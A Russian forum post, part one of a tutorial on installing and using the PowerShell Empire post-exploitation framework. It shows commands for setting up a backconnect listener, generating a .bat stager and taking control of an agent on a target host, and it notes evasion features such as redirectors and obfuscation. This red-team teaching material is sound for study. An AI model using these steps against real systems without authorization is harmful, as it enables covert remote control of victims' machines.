advertising advertising advertising advertising advertising advertising advertising advertising advertising advertising advertising

Установка и использование фреймворка PowerShell Empire. Часть 1

BlackPope

Местный
Регистрация
27.04.2020
Сообщения
242
Реакции
34
Многие слышали про Empire — инструмент постэксплуатации Windows, Linux и macOS. В статье я затрону все аспекты работы с ним, а также расскажу, какие именно функции фреймворка мы часто используем на практике. И даже если вы опытный пентестер или редтимер, я думаю, вы отметите для себя что-то новое и полезное.

Оригинальный проект PowerShell Empire уже давно не поддерживается, так что речь пойдет о его форке от BC-SECURITY. Этот форк продолжает развиваться и обновляться.

Установка Empire

Если вы используете Kali Linux, то для установки этого чудо-фреймворка потребуется выполнить всего лишь одну команду:

sudo apt install powershell-empire

Если на вашем компьютере другая операционная система, нужно скачать файлы проекта и установить их вручную.

git clone https://github.com/BC-SECURITY/Empire.git
cd Empire
sudo ./setup/install.sh


Собственно, все: фреймворк Empire установлен в вашей системе.

Получение точки опоры

Перед тем как мы рассмотрим сам программный комплекс, давайте разберемся со следующими понятиями:

  • Listener — это локальный процесс, ожидающий бэкконнект с удаленного атакуемого хоста;
  • Stager — загрузчик Agent’a, то есть полезной нагрузки на удаленный атакуемый хост;
  • Agent — процесс (на удаленном атакуемом хосте), который соединяется с нашим Listener’ом;
  • Module — код, выполняемый Agent’ом для достижения определенных целей.
Запустим Empire командой powershell-empire. Вы увидите такое окно.


Начало работы PowerShell Empire

Для получения точки опоры используется следующий порядок действий: создание Listener’a -> создание Stager’a для этого Listener’a -> запуск нагрузки на удаленном хосте (создание Agent’a).

Listener


Интерфейс listeners
Для создания Listener’a нужно войти в соответствующий интерфейс командой listeners.

Сейчас у нас нет активных листенеров. Создать его можно командой uselistener, но давайте посмотрим, какие типы листенеров нам может предложить Empire.

uselistener <TAB>

Поясню, что здесь что:

  • dbx — Dropbox-листенер (хорош, чтобы уклоняться от обнаружения, но требует токен для Dropbox API);
  • http — обычный HTTP/HTTPS-листенер;
  • http_com — HTTP/HTTPS-листенер, использующий объект IE COM;
  • http_foreign — HTTP/HTTPS-листенер для сторонней нагрузки Empire;
  • http_hop — HTTP/HTTPS-листенер для перенаправления команд другому листенеру, что помогает скрыть исходный IP (требует параметр RedirectListener);
  • http_mapi — HTTP/HTTPS-листенер для использования с Liniaal, что позволит получить управление через Exchange-сервер;
  • meterpreter — HTTP/HTTPS-листенер для сторонней нагрузки Meterpreter;
  • onedrive — onedrive-листенер (требует регистрацию приложения https://apps.dev.microsoft.com)
  • redirector — инструмент для перехода от одного агента к другому.
С типами листенеров разобрались, а теперь давайте посмотрим, как с ними работать. Для начала выбираем тип (для примера возьмем самый простой — HTTP).

uselistener http


Выбор типа листенера

Справка по выбранному листенеру PowerShell Empire
Получить справку по выбранному листенеру можно командой nfo.

Использованием прокси уже никого не удивишь, но мы можем назначить дату, когда листенер будет удален, а еще определенные часы работы (это очень удобно!). При использовании HTTPS нужно также указать путь к сертификату. Но теперь к основному: назначим имя листенера, адрес хоста для бэкконнекта и порт.

set Name l1
set Host http://192.168.6.1
set Port 4321



Назначение основных параметров листенера empire


Запуск листенера empire
И запустим листенер командой execute.



Список листенеров
Теперь в интерфейсе listeners мы наблюдаем только что запущенный листенер.

Переходим ко второй стадии.

Stager


Список типов stager’ов
Давайте по аналогии с листенером выберем тип stager’a (далее — нагрузки). Сделать это можно командой usestager.

Нагрузки есть для разных платформ: multi (кросс-платформенные), macOS и Windows. А еще существует несколько типов нагрузки:

  • bash — обычный Bash-скрипт;
  • launcher — так называемый one-liner-код на определенном скриптовом языке;
  • macro — макрос для офисных приложений;
  • pyinstaller — ELF-файл, собранный с помощью PyInstaller;
  • war — просто набор байтов для модернизации нагрузки;
  • applescript — файл AppleScript;
  • application — файл Application;
  • ducky — так называемый скрипт Rubber Ducky;
  • dylib — динамическая библиотека macOS;
  • jar — нагрузка в JAR-формате;
  • machomacOS — офисный макрос для macOS;
  • pkg — установщик PKG (должен быть скопирован в директорию /Applications);
  • safari_launcher — HTML-нагрузка;
  • shellcode — обычный Windows-шелл;
  • teensy — Teensy-скрипт;
  • backdoorLnkMacro — файл .lnk для загрузки и запуска приложения;
  • bunny — скрипт Bash bunny;
  • csharp_exe — приложение PowerShell/C#;
  • dll — нагрузка в виде DLL;
  • hta — HTA-нагрузка для IE;
  • macroless_msword — документ macroless;
  • wmic — XSL-нагрузка для wmic.exe (отсутствует в оригинальном Empire).

Выбор типа нагрузки empire
Давайте выберем тип нагрузки. Возьмем, к примеру, bat-файл для Windows.


Справка по выбранной нагрузке
Как и в случае с листенером, посмотрим параметры командой info.

Что нам предлагает Empire? Снова традиционная возможность настроить прокси, но вот встроенная функция обфускации (к сожалению, только для PowerShell-скриптов) — это вещь приятная. Мы можем указать, где сохранить итоговый файл, а также настроить удаление файла после запуска. Давайте укажем листенер и путь к итоговому файлу, после чего создадим stager.

set Listener l1
set OutFile /home/ralf/tmp/l1.bat
execute



Создание нагрузки
Файл с нагрузкой создан по указанному пути.


Agent


Подключились и создали агента
Нам нужно выполнить bat-файл на целевом хосте. Вы увидите сообщение о подключении.


Список агентов
Перейдем в главное меню и выполним команду agents, чтобы увидеть все агенты.

Для удобства можно переименовать агент командой rename и перейти в интерфейс управления агентом (команда interact).

rename LVKP4HN3 al1
interact al1



Список агентов
Мы в системе, теперь пройдемся по самым интересным модулям, которые реально находят применение и используются нашей командой на практике.

Продолжение следует...
 
Верх